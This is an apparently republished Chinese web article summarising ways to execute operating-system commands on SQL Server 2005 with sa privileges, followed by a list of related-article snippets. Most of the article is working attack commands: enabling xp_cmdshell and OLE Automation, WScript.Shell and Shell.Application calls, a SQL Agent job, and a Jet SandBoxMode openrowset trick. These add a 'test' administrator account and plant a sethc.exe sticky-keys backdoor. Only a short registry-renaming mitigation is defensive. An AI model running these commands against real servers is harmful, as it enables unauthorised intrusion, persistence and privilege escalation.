sql2005 sa执行命令方法总结

一.xp_cmdshell
EXEC master..xp_cmdshell 'ipconfig'
开启xp_cmdshell:
-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO
二.sp_oacreate
创建wscript.shell对象
use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',null,'cmd /c "net user" > c:\test.tmp'
创建scripting.filesystemobject对象
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
可以用utilman.exe代替sethc.exe达到同样的效果 后门很酷吗,呵呵
创建Shell.Application对象
declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','',1;
开启OLE Automation Procedures
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO
我们的对策就是把对象做一下手脚
WScript.Shell可以调用系统内核运行DOS基本命令
可以通过修改注册表,将此组件改名,来防止危害。
HKEY_CLASSES_ROOT\WScript.Shell\
及HKEY_CLASSES_ROOT\WScript.Shell.1\
改名为其它的名字,如:改为WScript.Shell_ChangeName或WScript.Shell.1_ChangeName
自己以后调用的时候使用这个就可以正常调用此组件了
也要将clsid值也改一下
HKEY_CLASSES_ROOT\WScript.Shell\CLSID\项目的值
HKEY_CLASSES_ROOT\WScript.Shell.1\CLSID\项目的值
同wscript.shell理、scripting.filesystemobject、Shell.Application
三.JOB
利用JOB执行命令,有一个先决条件就是开启SQLSERVERAGENT服务,下面的语句可以开启
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
use msdb create table [jncsql](resulttxt nvarchar(1024) null) exec sp_delete_job null,'x' exec sp_add_job 'x' exec
sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "net user>c:\test.test"' exec sp_add_jobserver
null,'x',@@servername exec sp_start_job 'x';
四.SandBoxMode(网上常说的沙盒模式)
原理:在access里调用VBS的shell函数,以system权限执行任何命令。但是试用这个函数之前必须把注册表里的一个叫SandBoxmode的开关打开,
注册表:HKEY_LOCAL_MACHINE\SoFtWare\Micris
oft\Jet\4.0\Engine\SandBoxmode.默认值为2,这个人键值为0表示始
终禁用SandBoxmode模式,1表示对于非Acess应用程序试用SandBoxmode模式,2表示对access应用程序使用SandBoxmode模式,3则表示完全开启安全设置。//1或0都可以执行命令
EXEC sp_addlinkedserver 'testsql','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb'
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
EXEC master..xp_regread HKEY_LOCAL_MACHINE ,'Software\Microsoft\Jet\4.0\engines','SandBoxMode'
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user test test /add")')
select * from openrowset('microsoft.jet.oledb.4.0',
';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrators test /add")')
下面是系统自带的两个mdb文件
C:\WINDOWS\system32\ias\dnary.mdb
C:\WINDOWS\system32\ias\ias.mdb
总结
上述几种方法(仔细看看我都忘记有几种了,哈哈。你可以发散思维,再找出来几种)都是在默认情况下测试的,往往渗透的时候有很多限制条件,我们可以逐一克服,利用组件得到服务器信息,读取、创建文件了等等,我们还是要对权限这个词组有深层次的理解啊。
附注
关于*.exe c:\windows\system32\ 还有c:\windows\system32\dllcache呢
关于cmd.exe还有command.exe呢
关于net.exe还有net1.exe呢
Mdb文件不存在我们可以上传一个啊
执行命令的组件不是只有一个哦

(0)

相关推荐

  • sql2005 sa执行命令方法总结

    一.xp_cmdshell EXEC master..xp_cmdshell 'ipconfig' 开启xp_cmdshell: -- To allow advanced options to be changed. EXEC sp_configure 'show advanced options', 1 GO -- To update the currently configured value for advanced options. RECONFIGURE GO -- To enable

  • Linux下使用SSH远程执行命令方法收集

    说明:可以做SSH免密登录之后执行,这样可以省去每次执行输入密码的提示. 对于简单的命令: 如果是简单执行几个命令,则: ssh user@remoteNode "cd /home ; ls" 基本能完成常用的对于远程节点的管理了,几个注意的点: 双引号,必须有.如果不加双引号,第二个ls命令在本地执行 分号,两个命令之间用分号隔开 多行命令可以输入双引号后回车,结尾使用双引号包裹 对于脚本的方式: 有些远程执行的命令内容较多,单一命令无法完成,考虑脚本方式实现: #!/bin/bas

  • shell 创建子进程及并行延时执行命令方法

    目录 shell 创建子进程方法 1. 什么是shell子进程 2. shell什么情况下会产生子进程 3.使用括号来创建子进程 shell 创建子进程方法 1. 什么是shell子进程 子进程,是从父子进程的概念出发的,unix操作系统的进程从init进程开始(init进程为1,而进程号0为系统原始进程,以下讨论的进程原则上不包括进程0)均有其对应的子进程,就算是由于父进程先行结束导致的孤儿进程,也会被init领养,使其父进程ID为1.也因为所有的进程均有父进程,事实上,所有进程的创建,都可视

  • python利用paramiko连接远程服务器执行命令的方法

    python中的paramiko模块是用来实现ssh连接到远程服务器上的库,在进行连接的时候,可以用来执行命令,也可以用来上传文件. 1.得到一个连接的对象 在进行连接的时候,可以使用如下的代码: def connect(host): 'this is use the paramiko connect the host,return conn' ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddP

  • python文件读写操作与linux shell变量命令交互执行的方法

    本文实例讲述了python文件读写操作与linux shell变量命令交互执行的方法.分享给大家供大家参考.具体如下: python对文件的读写还是挺方便的,与linux shell的交互变量需要转换一下才能用,这比较头疼. 代码如下: 复制代码 代码如下: #coding=utf-8 #!/usr/bin/python import os import time #python执行linux命令 os.system(':>./aa.py') #人机交互输入 S = raw_input("

  • Shell.Application执行命令的五种方法小结

    当初老马写这个版本时,我测试过简繁两个2003版本的,当是是好用的.我猜测很可能与2003打了ms06014补丁有关.kyo在冰点论坛提出了解决方法,我今天下午研究了一下这个组件,发现它有5种方法可以执行命令.以下是vbs版本(asp版不提供了,如何利用asp版本在2003的webshell中运行命令,自己解决吧:-): 复制代码 代码如下: Set objShellApp = CreateObject("Shell.Application") Set objFolder = objS

  • Python实现SSH远程登陆,并执行命令的方法(分享)

    在自动化测试过程中,比较常用的操作就是对远程主机进行操作,如何操作呢?使用SSH远程登陆到主机,然后执行相应的command即可. 使用Python来实现这些操作就相当简单了.下面是测试code. 代码如下:(code运行环境:python27+eclipse+pydev) import paramiko def sshclient_execmd(hostname, port, username, password, execmd): paramiko.util.log_to_file("par

  • python执行使用shell命令方法分享

    1. os.system(shell_command) 直接在终端输出执行结果,返回执行状态0,1 此函数会启动子进程,在子进程中执行command,并返回command命令执行完毕后的退出状态,如果command有执行内容,会在标准输出显示.这实际上是使用C标准库函数system()实现的. 缺点:这个函数在执行command命令时需要重新打开一个终端,并且无法保存command命令的执行结果. os.system('cat /etc/passwdqc.conf') 2. os.popen()

  • Linux 查看历史命令并执行的方法

    查看历史命令,并执行指定命令 owen@owen:~/owen/software/nginx-1.10.1$ history | grep 'configure' 1083 ./configure 1109 ./configure --prefix=/usr/nginx 1110 ./configure --prefix=/usr/nginx 2058 ./configure --prefix=/usr/local/nginx --with-openssl=/home/owen/owen/sof

  • .NET Core跨平台执行命令、脚本的方法详细

    一.前言 在工作中我们可能会遇到需要在程序中执行一些系统命令,来获取一些信息:或者调用shell脚本..NET Core 目前已经可以跨平台执行,那么它如何跨平台执行命令呢,请看下面的讲解.话不多说了,来一起看看详细的介绍吧 二.ProcessStartInfo.Process 类介绍 我们主要用到的两个类就是 ProcessStartInfo 和 Process ,他们的用法和.NET Framework下是一样的. 1. ProcessStartInfo 类 ProcessStartInfo

随机推荐